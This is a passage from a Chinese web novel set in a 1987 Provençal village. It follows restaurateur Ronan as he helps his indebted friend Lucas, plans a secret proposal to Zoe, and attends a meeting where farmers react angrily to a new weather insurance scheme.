不过皮埃尔怎么会突然说到卢卡斯的松露实验林项目呢? 他不是已经警告过那些农夫们,不许背后议论卢卡斯吗? “卢卡斯的实验林怎么了?”罗南装作不理解的问皮埃尔。 皮埃尔又点了一根烟,忧心忡忡的说: “去年去做松露人工培育林的不止一个卢卡斯,还有好几个人,听说全部失败了,还有几个欠了一屁股债,卢卡斯肯定是同样的结局啊,其实大伙早就发现不对劲了。” 皮埃尔说,有关人工培育松露的消息是他去外村打听遮阳篷的时候无意间听到的,卢尔马兰知道这件事的人应该还没有,他刚刚只是担心罗南被同样的骗术骗了,才会没忍住说出来。 但他保证,这个消息绝对不会从他的嘴里告诉第三个人。 罗南替卢卡斯解释,说他的菌丝采样还没开始,现在并不知道结果。 皮埃尔苦笑着说,不管那个结果是如何,这个消息应该很快就会在卢尔马兰传开还是有很多村民和外村有来往的。 “好了,我会留意这件事的。”罗南拍了拍皮埃尔的肩膀,把话题岔开了,“我近期会去打听新葡萄品种的事,有了进展我马上通知你。” 两个人聊了不短的时间,皮埃尔把椅子放回了原处,撇着嘴说: “你啊你,我知道说什么你都不会听的,想试就试吧。” 罗南是很厉害,也很能赚钱,但皮埃尔认为罗南现在要做的事情已经脱离他的能力范围了。 你才来普罗旺斯多久啊我的伙计,培育新葡萄品种这种天大的好事能落你头上? “万一呢。”罗南笑着说。 从后院出来,罗南格外留意特奥的状态,和他喝了两个多小时的酒,确定他还是那个没心没肺的特奥才稍微放心一点。 以特奥的‘护哥哥’性格,如果皮埃尔口中的消息已经传到了卢尔马兰,他一定会像头发怒的公牛一样,四处乱怼人,不会有闲情雅致给康奈尔讲家里的那头母驴怀孕了。 在寒潮的影响下,3月初松露的质量巨幅下降。 即使卢卡斯想要努力赚钱也没有地方找新鲜松露了,他和罗南一样,也在几天前结束了今年的松露采摘季。 但休息了没两天,罗南便突然给他打电话,说传奇松露经纪人阿方斯先有一位嘴馋的德国顾客,死活想要在3月初吃到地道的普罗旺斯黑松露,如果能在一周内提供3公斤可以为此支付比市价高三分之一的价格。 罗南说他不想进山了,装备都收了起来,咨询卢卡斯愿不愿意接下这个‘小活’。 事实上,在过去的一个多月中,类似的这种高额小订单,罗南给了卢卡斯四五个。 性格古怪的阿方斯先生似乎非常信任罗南,总是给他一些高价的订单,但罗南一个没接,全部推给卢卡斯了。 卢卡斯非常清楚,这是罗南在有意的照顾他的收入。 这个家伙一直在担心他的情况,尤其在意春季菌丝采样的结果,几乎每次见面都会问。 虽然这几个订单带来的收入对于经济压力巨大的卢卡斯来说只能算是‘杯水车薪’.但骄傲的卢卡斯不会白白的承受别人给的‘恩惠’。 卢卡斯接下了罗南的订单,并于三天内艰难的收集到了最后的这3斤松露,卢卡斯知道,松露采摘季这次是真正的结束了。 为了感谢罗南不停给他高额订单、为了感谢寒潮开始时他拉着自己一起去和售价更高的阿方斯先生合作、为了感谢这一整个松露采摘季他对自己的‘保护’.这次去餐厅交松露时卢卡斯特意带上了一份礼物——一把价值12000法郎的猎枪。 知道今天卢卡斯会来送松露,罗南一早便在收银台附近等着他。 见到卢卡斯的状态看起来还不错,罗南的语气不由得轻快许多: “真快啊,3天就凑齐了,我就知道交给你准没错。” 卢卡斯把沾着泥土的松露袋子放到收银台上,与袋子一同落下的还有一把猎枪: “验验货。” 罗南绝对相信卢卡斯的人品,他送来的松露只会多不会少,没有称重直接把松露袋子收了起来。 之后一边给卢卡斯数钱,一边随意的问: “这是特奥一直很想要的那把意大利猎枪吧?你今天顺路进山打猎了?” 特奥爱车也爱枪,他觊觎了卢卡斯的一把意大利贝雷塔生产的双管猎枪许久,但卢卡斯只肯借他用,始终不肯给他。 一次特奥又拿到了这把心爱的猎枪,来给罗南显摆。 罗南一眼便认出桌子上的这把就是当时特奥手里的那个。 “是那把枪,不过我没打猎。”卢卡斯语气淡淡的说。 罗南把目光移到餐厅里正在喝酒的特奥: “给特奥送来的?” 打猎季还有几天就要关闭,再开枪要等半年后。 卢卡斯憋着笑说: “你那两把复古枪进了林子只能当棍子使,快放柜子里珍藏吧,以后打猎用这个。” 罗南这才反应过来,卢卡斯要把这猎枪送给自己? 他连连摇头: “我的打猎技术非常贴近卢尔马兰风格.我不需要这么好的枪,你拿回去吧。” 他猜到卢卡斯送枪的原因了。 但罗南做那些事情就是为了缓解卢卡斯的经济压力,换来一礼物叫什么事儿啊? 不能要,绝对不能要! 固执的卢卡斯拿走了放在桌子上的法郎,叼着烟直接开了餐厅: “收下吧,如果还有机会.明年我带你进林子打猎。” 这句话让罗南的心里格外不是滋味. 如果卢卡斯破产了,骄傲的他还会在卢尔马兰继续生活吗? 正在罗南胡想乱想之际,卢卡斯又出现在他的面前,放下四张500法郎的纸币: “给多了。” 不等罗南解释多了2000法郎的原因,卢卡斯已经再次消失。 这一次罗南跟着他一起出了餐厅,在背后喊: “阿方斯先生又加了价格,我忘记跟你说了。” 卢卡斯大步流星的往前走,像是没听到似的,罗南快步追上去,挽留道: “留下吃饭吧,你好久没和大伙喝两杯了,今天人都在。” 之前的很长一段时间,罗南都没有怎么在餐厅里出现,更不要提和农夫们好好喝酒。 现在罗南忙完了松露季,农夫们嚷嚷着好好聚一次喝一喝,时间就在今天晚上。 卢卡斯这段时间太‘独’了,罗南想要拉着他重新融入农夫的群体之中。 农夫们的聚会,怎么能缺了你这个老大哥呢? 卢卡斯终于停了下来,看向玻璃窗内洋溢着笑容的一张张熟悉脸孔,笑着对罗南说: “我就不去了,玛格丽特这几天太累了,我早点带她回去休息,这2000法郎你拿回去,就当我请兄弟们吃饭喝酒了。” 夜幕中,卢卡斯孤独离去的背影和餐厅里的热闹喧哗是如此的格格不入。 罗南站在商业街上看了好久好久。 现在的卢尔马兰有这么多幸福的人.为什么就不能多一个呢? 卢卡斯明明是个很好的人啊。 第375章 求婚 可能是一整个冬天小情侣过的太过‘充实’。 这次休息下来后,虽然还是会工作,例如罗南要设计大量编织椅子的样式、佐伊要提升辅助技能.但心态和状态都发生明显的变化。 放到以前,为了快点做好样椅,罗南肯定会什么都不干,只做编织椅这一件事,什么时候把款式设计完、交到了卡福的手里,什么时候再去作别的。 但现在他每天上午工作一个多小时后,必去路易家找佐伊集合,悠闲的吃完饭、再睡个午觉后再开始下午的工作,晚上也会尽可能的和佐伊、家人或者朋友们待在一起,也不着急赶工了。 佐伊的状态比罗南更加放松。 上午她会工作一会,中午和罗南一起做饭吃饭,睡完午觉有可能继续工作,也有可能约着艺术家离开卢尔马兰,出去购物了。 以前佐伊就很喜欢买东西,现在赚了更多的钱,这个爱好更加疯狂。 佐伊不止一次的说,辛苦了一整个冬天、赚了那么多钱不就是为了花吗? 钱花到位了、花开心了才有动力继续工作。 不过她现在买的东西和以前不一样了。 以前佐伊买的大部分是衣服、化妆品、首饰或者奢侈品,而且购物逻辑是: 给自己买买买、给罗南买买、给父母买、给罗南的父母买、看心情给维埃里买。 现在的情况是: 买吃的、买喝的、买水果、买生活用品、买家电、买家庭必需品.总之每次出去,都像是要搬回来一个小超市似的。 佐伊买爽了,但看着满满一后备箱东西的罗南傻眼了。 今天买的这些又是什么啊? 佐伊指着一个印有彩色图案的大包装箱说: “这是一台咖啡机,以后喝咖啡不用再自己手磨了,你先放在餐厅,试试好不好用,如果方便未来我给我们自己、你父母和我父母家都安排一个。” 咖啡机和微波炉等小家电是80年代初进入法国家庭的,但由于卢尔马兰比较落后,这种小家电直至1987年还没有传到这里。 别看这咖啡机又大又笨重,一台要1000法郎呢。 卢尔马兰哪个家庭舍得花这么多钱,只为了喝咖啡时把手解放出来呢? 但佐伊就是舍得,再贵一倍她也舍得。 只要是能提升生活质量和幸福度的东西,她都舍得买。 冯珍和佐伊有同样的购物爱好,奈何现在餐厅离不开她,她暂时无法像佐伊这样洒脱,每周都能去艾克斯和阿普特。 不过每次佐伊回来,她都是最积极的那个人。 佐伊总是能带回来许多新鲜玩意,而且都是能提升家庭幸福指数的,冯珍迫不及待的想知道这次又带回来了什么。 佐伊拿起一个小盒子和冯珍分享: “你们说上次买回来的那个电熨斗太重,我又买了一款新的,这个轻巧,你们再试试这个。” “哎呀,那个也挺好用的,怎么还买新的了呢?” “没事,我给咱们两家都买了新的,之前那个重的给我和罗南用,我们工作的时候能用上。” 冯珍拿着电熨斗开心的离开,罗南在后面小声问佐伊: “我们做什么工作能用那么多熨斗?” 佐伊不悦的咂巴了一下嘴,似乎在质疑罗南的聪明劲儿去了哪里: “不这么说她们会心疼的!还有,价格是多少也不要告诉她们,如果问起来,你就说那个电熨斗是120法郎买的。” 罗南:“.” 回到餐厅,佐伊把一个小纸袋送到了正在门口迎宾的维埃里手里,并严肃的说: “这是专业的守门员手套,以后踢球戴上它,马上要会考了,保护好自己。” 维埃里前几天在学校踢球弄伤了手指,他谁都没说,中午还忍着痛和佐伊罗南一起做饭呢,这事只有伊莎贝尔知道。 伊莎贝尔担心维埃里手指恢复不好,会影响接下来的考试,偷偷告诉了罗南。 罗南又告诉了佐伊 维埃里先是表情复杂的看了一眼身边的伊莎贝尔,似乎在责怪她出卖了自己.随后抑制不住开心的接下礼物,说了一句‘谢谢’。 佐伊每次出去都会给维埃里带一些他感兴趣的小东西,现在维埃里在餐厅里见到佐伊,不再冷冰冰的喊她‘女士’了。 佐伊笑容满面的又给了伊莎贝尔一个小袋子: “这个护手霜是送给你的,后天我和歌迪亚要去艾克斯的百货商店,你跟我们一起去吗?” 罗南告诉佐伊,伊莎贝尔从小到大只去过三次艾克斯。 每次佐伊和艺术家们回来聊艾克斯和阿普特的事,她都会羡慕的偷偷听着。 罗南大手一挥: “去,我给你调班!” 伊莎贝尔惊慌失措的后退了好几步: “不不不,我不能收!” 佐伊眉眼带笑的把东西塞到了她的手里: “谢谢你替维埃里包扎手指。” 佐伊和伊莎贝尔待在门口聊天,罗南先回来了。 冯珍不知道从哪里出现,用力拍了一下罗南的后背: “佐伊太贤惠了,你小子有福了!能娶到这么好的老婆!” 佐伊越来越成熟了,还肉眼可见的变得会照顾人。 冯珍这个开心啊! 罗南的嘴角裂开了巨大的弧度: “莉亚那么贤惠,佐伊耳濡目染了这么多年肯定不会差的。” 冯珍有些心急的催促儿子: “抓点紧吧!装修不行就别自己干了,或者先把婚结了再装修?” 罗南小幅度的摇了摇头; “耽误不了多少时间。” 这件事罗南早就和佐伊讨论过。 他们认为一起装修是一件不输于结婚的幸福事,而且能在共同装修好的房子里结婚意义非凡.虽然时间长一点也愿意等。 不要看罗南和佐伊现在的状态悠闲,等到了装修的时候肯定要猛猛提速。 他们俩才是最着急的! 冯珍知道这两个孩子都很有主意,说什么也没用,起了另外一个话题: “你那个工作室什么时候完工?” 罗南的工作室建成后,那批工人会无缝衔接到餐厅楼上装修,这里是冯珍和罗天海未来的住处。 老两口对装修没有任何要求,只要能住就行,而且这里也不能折腾出太大的动静,楼下还要营业呢,所以这边的工期会非常快。 不过即使这样,冯珍也很着急,她想要赶在旅游季开始前完成这件事。 而旅行大军在三月底和四月初就会小批量的陆续到来了。 罗南也着急工作室那边的进度,见这里没有什么事情需要他,起身离开: “我回去问问,要一个准确的日期。” 在门口,罗南和佐伊擦身而过,她还在和伊莎贝尔聊天。 “去哪儿?”佐伊问。 “回家一趟。”罗南说着就要出门。 佐伊想都没想,就跟着一起出去: “我陪你。” 罗南偷偷对佐伊眨了一下眼睛,附在她的耳边说: “你忘记了吗?伊莎贝尔可能是维埃里青春期的‘解药’,你要尽快和她拉近关系快去和她聊天吧。” 佐伊想了一下,认为罗南说的很有道理,于是原地退了回去: “好,你什么时候回来?” 罗南微笑着和她招手: “很快,我回去打一个重要的电话就回来。” 工人们跟罗南说的工期在三月中旬,但罗南天天问、天天问大伙也看出这小子着急了,于是提前完工了几天。 “下周三一定完工,我发誓!”格隆丁郑重的说。 下周三是卢尔马兰艺术家从尼斯回到卢尔马兰的那天,他们周一出发,在尼斯住两晚。 “好,餐厅的细节就是我和你们交代的那些,这边完工你们直接去那边吧。”罗南拿到了结果,开心的小跑回家里,“谢谢了伙计们,你们争取到的这几天对我太重要了!” 格隆丁和另外几个工人你看看我,我看看你。 “他在说什么?” 罗南回到家,从电视柜下拿出了他的电话薄。 他没有骗佐伊,真的是回来打电话的。 等待电话接通的十几秒钟里,罗南的心跳的巨快无比。 虽然他经常开导佐伊,不要为了结婚特意做什么.但他清楚,佐伊这段时间一直在为能成为一个合格的妻子而努力。 面对这么好的伴侣,罗南怎么能不心急呢? “喂,哪位?”电话那端终于出现了声音。 听到那道人声,罗南马上露出了笑容: “托尔,我的朋友,最近还好吗?” 电话那端先是一阵短暂的安静,随后发出震耳的牛叫声,托儿憨厚的声音断断续续的传来: “嘿,罗南,我正打算月底联系你,今年复活节我还想去普罗旺斯玩,我想你那里了。” 罗南笑着说: “复活节前我会收拾好房子等你,再准备好你爱吃的卡瓦永甜瓜,嗯,那个时候樱桃也熟了不过你今年记得多带几件衣服来。” 牛叫声越来越高亢: “好,我不带书去了,一本都不带。” 简单的寒暄过后,罗南用试探性的语气说: “但是我希望你能在下周提前来一次普罗旺斯,我知道这可能有点难办,也有可能会耽误你的工作但那对我非常重要。” 托尔粗壮的声音里带着一丝关切: “发生什么事情了吗?” 罗南深呼吸了一口: “我打算下周向佐伊求婚。” 第376章 演戏,全都在演戏!! 把工作室做为礼物送给佐伊的同时,再进行一场神圣的求婚仪式这是罗南想了许久的计划。 但他一个人完成不了这件事,需要帮手。 可想要在卢尔马兰秘密进行一件事实在太难,一个人知道全村就会知道,即使父母现在也无法完全相信了,他们越来越普罗旺斯化,尤其是罗南的母亲冯珍。 你问罗天海? 有其父必有其子,罗南都可以为了佐伊出卖维埃里了.谁知道他会不会把自己卖了? 罗南考虑了好久,身边有哪个朋友可以帮他保守秘密并能配合着完成这个重要的任务,发现根本没有合适的人选。 这个时候他想到了远在巴黎的老同学托尔。 托尔天性单纯、心地善良、为人靠谱,最重要的是他沉默寡言不爱说话、一定可以帮助罗南保守秘密。 而且去年托尔离开普罗旺斯时给罗南送去了美好的祝福——他说希望下次来普罗旺斯是来参加朋友的婚礼。 婚礼可能要等一等,但求婚可以提上日程了。 罗南会提前把东西准备好,和佐伊去尼斯的那两天让托尔在工作室秘密做准备工作。 托尔甚至都没有问是下周的哪天和要留几天,斩钉截铁的说: “可以,我去。” 他就知道那个叫佐伊的女孩子一定会和罗南走到一起去,他们是那样的般配! 由于性格的问题,罗南是托尔唯一的朋友,好朋友求婚这么大的事情,他必须去!! 和托尔沟通了细节和见面时间后,罗南再次返回餐厅。 一见到罗南佐伊就担心的问: “你去了好久还顺利吗?” 罗南说回家去打一个重要的电话,是事情不太顺利吗? 罗南笑容灿烂的说: “一切顺利!” 你就等着吧,我的未婚妻!! 卡福在阿普特的实体店已于近日开业,巴蒂新设计的小摆件和灯具全部送了过去,最近陆续有人下单了。 卖新款意味着要教妇女们新的技巧和编织方式,只靠一个巴蒂教不过来那么多‘学生’,尤其每天还会有零基础的人来加入他们,于是罗南也把工作地点搬到了巴蒂的院子里.一边设计编织椅,一边教大家。 罗南的目标是设计至少10把编织椅,经过十天的努力,这个数字终于过半,有五把椅子已经到了阿普特。 卡福非常喜欢那些椅子的样式,信誓旦旦的说一定会在普罗旺斯卖爆。 为了表达足够的信心,他收购这些椅子的价格非常高,最便宜的是2500法郎,最高的一把给到了5500,而且实体店开业的第一天就卖出去了一把! 这让卡福的信心更加足了,他还没有通知那些留下过联系方式的顾客店铺‘上新’了呢,这把是被路过的客人买走的。 见到这情况,卡福一边催促罗南继续设计新样式,一边督促他赶紧教妇女们做椅子,别等量起来的时候货跟不上。 给几个男士上完编织课,巴蒂出来找罗南聊天。 见罗南又做了一把新椅子,巴蒂迫不及待的坐了上去,把脚架起来,舒服的眯起眼睛: “真舒服,这款也一定会有人喜欢,我说你可真厉害啊,你做的这几款都很棒,如果我是有钱人,看到一定会买下来。” 罗南指着他屁股下面的椅子问: “这个先教谁?” 现在卢尔马兰做编织的人太多,但罗南不可能把每个人全部教会,做了新样式只能先教给一两个人,如果卖的好,由这些人教给其他人。 罗南不了解妇女们手里的订单情况,也不太清楚每个人的编织水平,到了这一步就要巴蒂决定人选了。 巴蒂睁开眼睛,扶着下巴陷入了挣扎: “约瑟芬最近学了太多新东西,肯定忙不过来了。” “而阿芒尼娜正在消化那几款新灯具,也不能再教她。” “皮雷?但他刚从我这里抢走了两个订单!我要小小的‘惩罚’他一下.” 编织家具单价高,订单给了谁谁就偷着乐去吧! 罗南笑着看了一眼巴蒂,给他出了一个‘好办法’: “最近大家都在学新灯具和装饰物,再学做椅子很难消化,编织家具初期订单应该不会太多,你先做一阵子椅子订单吧,等妇女们消化完了你教的那些知识,再视情况慢慢教她们,我未来一段时间都没事,即使订单突然爆了时间也来得及.我和你一起教大家。” 罗南给出这个提议有两层考虑。 第一,最近妇女们要学的新东西太多,尤其编织椅子的技巧更复杂、耗时也更多,赶在这个时机教她们并不合适,应该把时间错开一些。 第二层考虑是,罗南想让巴蒂多赚一点。 别看这个家伙忙前跑后的比谁都忙,还付出了那么多时间去拉订单,但‘秘书长’大人还没约瑟芬赚的多呢。 罗南在两个月之前就提出过让巴蒂也拿分成的合作模式,但巴蒂以‘不知道什么时候就离开卢尔马兰’为由拒绝了他。 巴蒂说,留下只是为了让妇女们富有起来,等这个目标达成,他肯定要继续旅居去,让罗南休想把他留下。 还有就是,巴蒂的赚钱欲望不太高,虽然现在他也会接订单,但赚够房租钱和请女艺术家吃饭喝酒的钱就停了。 一个月里只有半个月在工作,剩下的半个月‘休息’。 相较于物质世界,他更重视精神世界的富足。 巴蒂说太忙碌会影响他观察这个世界的脚步.只要不饿死,把赚钱的时间挪到和艺术家们喝酒聊天更加有意义。 罗南很尊重老师巴蒂的选择,知道无论是金钱还是风景都无法真正的束缚住这个浪子.不过只要有机会,他还是想让巴蒂多赚点。 钱和沿途的风景不冲突啊,我的伙计! “赚这么多钱有什么用?看到的风景都是一样的。”巴蒂平摊双手,“我再想想合适的人选,实在没人了我再做。” 提到风景,罗南突然抬头看向他: “诶对了,歌迪亚把我们在尼斯的住所订好了,听说推开窗户就是大海。” 米切兰杂志社会给卢尔马兰艺术家报销此次在尼斯的住宿费和来回的车费。 这样一来,艺术家们更把这次工作看作是一次集体出游了。 尼斯是南法最漂亮的沿海城市! 为了让艺术家们玩的开心,操心的歌迪亚亲自去了一趟尼斯挑选住宿的地方,听说环境非常不错。 “哇!大海!!”巴蒂突然亢奋起来,扭头去了卧室,“我要把花衬衣找出来,海边和花衬衣最搭配了!” 如果不是卢尔马兰手工艺合作社,巴蒂一过完圣诞节就要去尼斯生活了。 “才3月啊,穿不上花衬衣!”罗南对着巴蒂的背影喊。 昨晚歌迪亚带着消息回来时,整个餐厅的艺术家都沸腾了,比巴蒂的反应还夸张,看来大家都很期待这次出行。 又做工作了一会,康奈尔进入了院子。 “你妈妈回去了,说要给你姐姐的孩子做饭。”罗南好心的提醒康奈尔。 康奈尔直接蹲到了罗南身前: “沃克吕兹省农业部早到了几个小时,现在正往你的餐厅走呢,好像要去吃午饭,皮埃尔让我通知你,快去接待一下他们。” 农业部给政府的消息是下午到,不知道为什么午饭前突然出现在了卢尔马兰。 罗南一听就乐了。 这次带队来卢尔马兰普及气象保险的人是朱莉特。 她真是太照顾自己的生意了! “没事,你们也赶紧回家吃饭,别耽误下午去听气象保险。”罗南依然手上不停,丝毫没有要去‘接待’的样子。 朱莉特是‘自己人’,有什么好接待的啊? 而且罗南去了,她也不会和罗南相认,让他们正常吃就行了。 康奈尔倔强的说: “不行不行,皮埃尔说农业部从来没有来过卢尔马兰,这是第一次,必须得好好接待他们,村子里最会接待人的就是你了。” 见罗南一动不动,康奈尔连着椅子一起把他抱起来: “走吧,罗南,这事儿戏不得啊。” 罗南惊慌失措的抓住扶手,大喊道: “放我下来,我去我去,我去还不行吗?不过先让我给佐伊打个电话好吗?她还等我吃午饭呢.” 今天农业部来卢尔马兰的依然是三个人,朱莉特是那个带队的。 朱莉特已经来过罗南餐厅很多次,这里什么好吃、什么是特色她非常熟悉。 不过其他同事是第一次来,让朱莉特推荐一些好吃的。 “突然把我们带来这里吃午饭,你得给点意见啊。” 朱莉特语气淡淡的说: “这里的菜味道都不错,而且中餐吃的是个新鲜感,如果你们没吃过中餐点什么都行,甜品也一样,每一个都不错。” “菜单上面的红色辣椒形状,代表这是辣味的吗?”其中一个农业部的同事问。 朱莉特点点头: “对,这家餐厅辣的菜品挺多的。” 朱莉特是部门的老人,而且是那种距离升职只差一点契机的‘老人’。 另外两个官员进入部门的时间短,这种出差的机会定然要以她为首: “朱莉特不爱吃辣的东西,看看别的吧。” 朱莉特不喜欢吃辣,但罗南把菜品做了改良,朱莉特尝试了几次完全可以接受,但她懒得和这些人说的那么详细。 几分钟后,布兰科带着希尔维等几人匆忙赶来。 他们拿到的消息是农业部下午才到,知道他们提前来了的消息第一时间赶了过来。 布兰科和农业部寒暄了几句后,客气的说: “你们来卢尔马兰吃饭,我们必须要尽地主之谊,我来安排几道这里的特色菜!” 朱莉特和昆西不同,她不喜欢‘无效社交’。 而且她就是来吃饭的,不想和下午的工作混为一谈,于是有些冷淡的拒绝: “我们已经点好单了,不如各位也去吃饭吧,下午我们约定的时间再见面?” 布兰科和朱莉特打过很多次交道,这位农业部的重要官员曾经差一点给卢尔马兰开了巨额罚单,知道她性格比较严肃、不喜套近乎,于是布兰科听话的带着人走了。 而罗南赶回来的时候,正巧看到卢尔马兰的几个官员‘灰溜溜’的离开。 农业部第一次派专项组来卢尔马兰、而且听说是要推行一个非常重要的东西,每一个和土地打交道的村民都很重视这件事,旅游局来的时候都没有那么多人关心。 旅游距离大家的生活太远,但农业情况是和所有居民息息相关的大事,今天中午在罗南餐厅里吃饭的人一大半都是农夫。 密切的观察了农业部那桌的情况和布兰科的反应后,皮埃尔郑重的嘱咐罗南: “带头的应该是那个穿着褐色大衣的女人,对,就是不苟言笑的那个,她刚刚把布兰科都拒绝了下午的情况不容乐观啊。” 罗南无所谓的耸肩: “也许吧。” 皮埃尔推着罗南说: “别傻站着啊,过去打个照顾,再送点酒和菜,和这几位官员结交一下,这种人脉可比你认识的那些有钱人重要多了。” 罗南摇头: “不用,没看把布兰科都拒绝了吗?也许他们不喜欢被打扰。” “你不去我去!”特奥说着就要起来,“给我拿瓶最好的酒!我去和他们喝两杯!” 特奥一起头,好几个农夫也嚷嚷着要去那桌和农业部的人好好结交一下。 罗南赶紧把他们拦住,朱莉特连他都不想认.能认你们? 你们快别去添乱了! “我去我去,你们继续吃。”罗南不情不愿的去了后厨。 罗南走后,特奥舒舒服服的坐回原位: “我就说这招肯定管用,罗南一定不会放心让我们去的,即使不想去,他也必须得硬着头皮去。” 康奈尔撑着脑袋看农业部的几个人: “我们也是为他好啊,结交到这几位官员,对他是巨大的帮助!” 亨利生气的说: “但他们拒绝了布兰科,他们也会同样拒绝罗南先生的!你们是在逼着罗南先生‘碰壁’!!” 听到农夫们设计的这个方案,亨利是一万个不同意! 凭什么让罗南先生去‘热脸贴那几个人的冷屁股’? 即使他们是沃克吕兹省农业部的官员也不行!! 但架不住皮埃尔支持这件事 别人的面子亨利现在都不给了,但罗南先生说过,卢卡斯和皮埃尔这两个人的面子必须给。 皮埃尔双手抱胸,坏笑着说: “被拒绝又怎样?你们见过罗南吃亏吗?他可不是老实的布兰科,罗南想做的事情我就没见过没有办成的!等着瞧吧,罗南一定能结识到那几位大人!!” 罗南去后厨看了朱莉特那桌点的单,发现都是特色菜,但是里面一道辣的都没有。 但罗南这里的辣菜也是一大特色啊。 他让人加了一道香辣虾和一道水煮鱼,全部是普罗旺斯人爱吃的海鲜。 等菜做好后,他又拿了一瓶不错的粉红酒,来到了朱莉特那桌,装模作样的说: “你们好几位贵宾,我是这家餐厅的老板罗南,感谢几位‘大驾光临’,这里是两道特色菜,我请几位免费品尝,祝你们今天能吃得开心!” 朱莉特的两位同事不悦的皱起眉头。 他们非常了解朱莉特的性格,她最烦‘无效社交’了,这个老板的举动一定会引起她的反感。 而且你们村长都被我们‘赶’走了,你没看看到吗? 尤其见到香辣虾和水煮鱼里致死量的恐怖辣椒后,更加觉得如此。 “不需要了——”其中一位官员的话说道一半,突然被朱莉特打断。 “再拿三个新杯子吧,谢谢。”朱莉特接下了罗南手里的粉红酒。 那两位同事瞪大眼睛。 等等! 朱莉特接受了? 还让老板拿三个喝粉红酒的新杯子.甚至还礼貌的说了谢谢! 更奇怪的是——似乎刚刚那段话是有人逼着那老板的,他连句再见都没说就走了? 喂喂喂,你到底是不是来和我们打招呼的? 朱莉特完全无视了罗南的不辞而别,已经开始剥虾了: “尝尝吧,这两道菜挺好吃的。” 朱莉特是不喜欢无效社交,但和罗南是有效社交啊。 拒绝罗南的好意? 你问问伊内斯和阿斯特丽德同意吗? 农夫们和那两位农业部的官员是同款表情。 拒绝呢? 碰壁呢? 热脸贴冷屁股呢? 怎么这么顺利?? 第377章 什么?被截胡了? 每个人的性格不同。 在工作中一丝不苟的伊内斯可以当着一众下属的面,像老母亲一样慈祥的约罗南去看花。 但在私下和罗南关系非常不错的朱莉特不想让同事知道自己和罗南相识,可能由于她是政府官员的原因吧,忌讳比较多。 见到朱莉特的表现,罗南明白了她的态度,之后又往那桌投喂了一次甜品,但人没再去了。 农夫们见到几位官员的态度突然变化了,催着罗南‘乘胜追击’,坐过去和他们聊聊。 罗南给他们科普了‘循序渐进’的道理,说此刻点到为止即可,下午还要见面呢,下午再看情况行事。 农夫们被罗南说通了。 总之,罗南能结交到那几位农业部的官员就行,用什么手段他们就不管了。 下午2点整。 卢尔马兰全体农夫和一部分农夫的家属拿着小板凳或凳子出现在老教堂门口的广场上。 卢尔马兰没有可容纳太多人开会的室内场地,政府的会议室里只能坐十几个人,今天的会只能在这开了。 卢尔马兰一共只有100出头的农夫,小广场的面积足够用了。 开会时,大伙发现话筒前面除了那三位沃克吕兹省的官员,还有一个打着领带的人,说开场白的时候,希尔维介绍那人是保险公司的。 “一和保险扯上关系准没有好事!”亨利在下面气呼呼的嘟囔。 “这个气象保险,会不会和房屋保险一样,需要‘强制性’购买啊?”法比安的表情也不算多好。 虽然卢尔马兰没人会主动缴纳房屋保险,但他们对这种强制保险‘深恶痛绝’,认为那都是骗人的东西。 康奈尔傻乎乎的问皮埃尔: “你打听到什么是气象保险了吗?” 农业部通知卢尔马兰政府要来推广气象保险后,政府第一时间通知了农夫们。 那之后皮埃尔就开始四处打听,想知道这个气象保险到底是个什么东西。 皮埃尔苦闷的摇头,眉毛紧紧的皱到一起: “不知道,这是普罗旺斯第一次出现气象保险这个东西。” “气象都弄不好,弄什么气象保险?而且坐在台上的几个人里,有真的懂种地的吗?他们恐怕连锄头都没摸过!哼!反正我是绝对不会买的,逼着我也不会买!”亨利越说越激动。 “该死你的,你能不能小点声音啊,我都听不到台上说话了。”特奥瞪着眼睛警告亨利。 亨利想要还口,又看了一眼坐在第一排的罗南,硬生生的把嘴闭上了。 布兰科把罗南安排在第一排、政府官员的旁边,以示他在村里的重要地位。 这周围没人‘开小差’,前面这半段罗南倒是听清楚了,但是没有什么有用的东西。 那位来自保险公司的先生,滔滔不绝介绍他们推出的这份保险的初衷是什么、克服了多少困难,一堆假大空的话都把罗南听困了。 虽然春天才刚露出了一个小头,但下午这个时间段晒着太阳身上暖暖的.非常舒服。 “不知道这次去尼斯有没有安排海边行程,现在不能下海,但和佐伊一起躺在沙滩上睡个午觉应该是可以的吧?”朦朦胧胧间,罗南的心绪飘到了几天后的那次旅行中。 “这椅子坐着舒服,睡觉可能不太行,脖子没有支撑点,下一把设计的时候要考虑到这个。”罗南今天是搬着新椅子来的,很快思绪又飘到了这里。 “不知道几点结束,我中午都没见到佐伊。”罗南翘起了二郎腿,右脚快速抖动起来。 罗南和农夫们的心态差不多,都认为这个气象保险是一个骗钱的玩意,肯定没什么用。 说不定和‘拔除计划’一样,是个非常让人糟心的东西。 正在罗南想七想八之际,台上讲话的人从保险公司的人换成了农业部的人。 罗南赶紧坐直了身子,又放下了腿,因为朱莉特的关系,农业部讲话还是要好好听的。 不过农业部今天的角色是什么呢? 农业部讲话的是一个年轻的男官员: “接下来由我给大家介绍‘气象保险’具体承保范围和内容。” 台下一片挪椅子和凳子的声音。 终于到农夫们最关心的内容了,这个气象保险到底是什么啊? 那官员的声音,通过广场的两个大喇叭清楚的传入了大家的耳中: “普罗旺斯农业气象保险主要覆盖以下自然灾害:霜冻、冰雹、干旱、暴雨、洪水.” 下面农夫们的表情逐渐严肃起来。 这份保险涵盖了有可能出现的所有气象灾害,看起来挺全面的啊。 “赔偿标准如下:-5℃以下持续4小时,赔偿损失50%-80%;直径≥2cm的冰雹,赔偿损失30%-100%;降雨量<年均50%,赔偿损失的40%-70%;24小时降雨>100mm,可赔偿损失的60%-90%具体赔付比例判断规则如下” 台下没有一个农夫再发出声音,连从一坐下来就骂骂咧咧的亨利都安静了,大家全神贯注地听着台上的人讲述保险的内容。 触发条件很友好、赔付比例也很高这份保险似乎挺不错的? 皮埃尔示意跃跃欲试的农夫们不要着急,再听听,但还是有心急的人忍不住问: “保费呢?保费是多少?我更关心这个!” 前面那部分的内容正好说完,于是那位官员把本该靠后的保费内容提前了。 他翻了几页手里的资料: “葡萄园的保费计算公式为3%-5%的年产值、橄榄园为2%-4%年产值、薰衣草为.” 原本安静的农夫堆瞬间沸腾了。 居然是按照年产值算的? 也就是说,赚的越多交的越多喽? 有数学好的人马上算出了自己所需要缴纳的数额。 “上帝,我每年最少要交2000多法郎,最多有可能要交3000多!这比房屋保险还高!” 大部分农夫都是这样的态度,认为保费太高了,根本无法接受。 亨利又开始咬牙了: “骗钱!这是赤裸裸的骗钱!普罗旺斯的气象灾害好几年才会出现一次,这些钱都白白进了他们的口袋!!” 